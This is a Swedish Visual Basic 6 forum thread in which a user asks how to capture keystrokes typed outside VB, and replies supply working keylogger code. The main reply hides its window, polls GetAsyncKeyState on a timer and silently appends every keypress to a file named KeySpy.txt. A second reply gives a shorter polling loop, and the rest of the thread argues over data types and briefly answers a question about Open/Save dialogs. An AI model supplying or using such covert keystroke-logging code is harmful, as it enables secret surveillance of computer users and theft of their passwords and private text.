Jag har letat länge efter en kod som kan kolla vad man skriver utanför vb keylogger med andra ord. Ett exempel du kan kolla. Underbart de fungerade :) tack så mycket. Du kanske oxå har erfarenhet hur man får upp open/save dialog i vb6.0? Öppna Components-dialogen (menyn Project/Components eller CTRL+T eller högerklicka i toolboxen och välj "Components") och se till att "Microsoft Common Dialog Control 6.0 (SPx)" är ikryssad. Lägg sedan ut en sådan kontroll på ditt formulär och anropa metoderna... Det finns nån keylogger i detta forum som inte går ihop med virusprogram då den tror det e en "spion". Följande metod fungerar även utmärkt. En liten Besserwisser kommentar ;-) Jo, Returvärdet KAN vara av datatypen long, men 'variablel' har ingen nytta över att vara av annan datatyp än integer eftersom det som bekant endast finns 255 tecken (utvidgat) och 127 tecken outvidgat.Kolla vad man skriver utanför VB
Jag har sett många olika typer av lösningar men ingen av dom verkar fungera.
Så nu testar jag här .. är det någon som vet hur man keyloggar utanför visual basic?Sv: Kolla vad man skriver utanför VB
Av någon anledning så ser man inte resultatet förrän man stänger Vb proget
<code>
Option Explicit
Private Declare Function GetAsyncKeyState Lib "user32" _
(ByVal vKey As Long) As Integer
Dim sSave As String
Dim sOld As String, Ret As String
Dim FileNum As Long
Private Sub Form_Load()
'Grundidé kommer från
'KPD-Team 1999
'URL: http://www.allapi.net/
'E-Mail: KPDTeam@Allapi.net
FileNum = FreeFile
'Ändra denna sökväg efter behov
'Alla tangentnedslag loggas till
Open App.Path & "/KeySpy.txt" For Append As #FileNum
Me.Hide
End Sub
Private Sub Form_Unload(Cancel As Integer)
Close #FileNum
End Sub
Private Sub Timer1_Timer()
'Interval 60 ms
DoEvents
Ret = GetPressedKey
If Ret <> sOld Then
sOld = Ret
sSave = sSave & sOld
If Len(sSave) > 80 Then
sSave = ""
Print #FileNum, vbNewLine;
Print #FileNum, sOld;
Else
Print #FileNum, sOld;
End If
End If
End Sub
Function GetPressedKey() As String
Dim i As Long
For i = 13 To 128
'Get the keystate of a specified key
If GetAsyncKeyState(i) <> 0 Then
GetPressedKey = Chr$(i)
Exit For
End If
Next 'i
End Function
</code>Sv: Kolla vad man skriver utanför VB
Sv: Kolla vad man skriver utanför VB
<code>
CommonDialog1.ShowOpen()
CommonDialog1.ShowSave()
</code>
...för att öppna Open resp Save-dialogerna.Sv: Kolla vad man skriver utanför VB
Sv: Kolla vad man skriver utanför VB
I timern (interval 25):
Dim variabel as integer/byte
Dim Ret as integer
for variabel = start to slut
Ret = GetAsyncKeyState(variabel)
if Ret = -32768 eller -32767 then
t.ex. text1.text = text1.text & chr$(variabel)
end if
next variabel
/EBCDICSv: Kolla vad man skriver utanför VB
>I timern (interval 25): ' skall vara Interval 56
>Dim variabel as integer/byte ' skall vara Dim variabel As Long
>Dim Ret as integer ' skall vara Dim Ret As Long Sv: Kolla vad man skriver utanför VB
Nu är det ju som följande att definitionen är:
Declare Function GetKeyState Lib "user32" Alias "GetKeyState" (ByVal nVirtKey As Long) As Integer
dvs mottar ett värde av typ long men returnerar integer
Man kan gå utanför standarden i detta fall.
Besservisserkommentar ver 2.1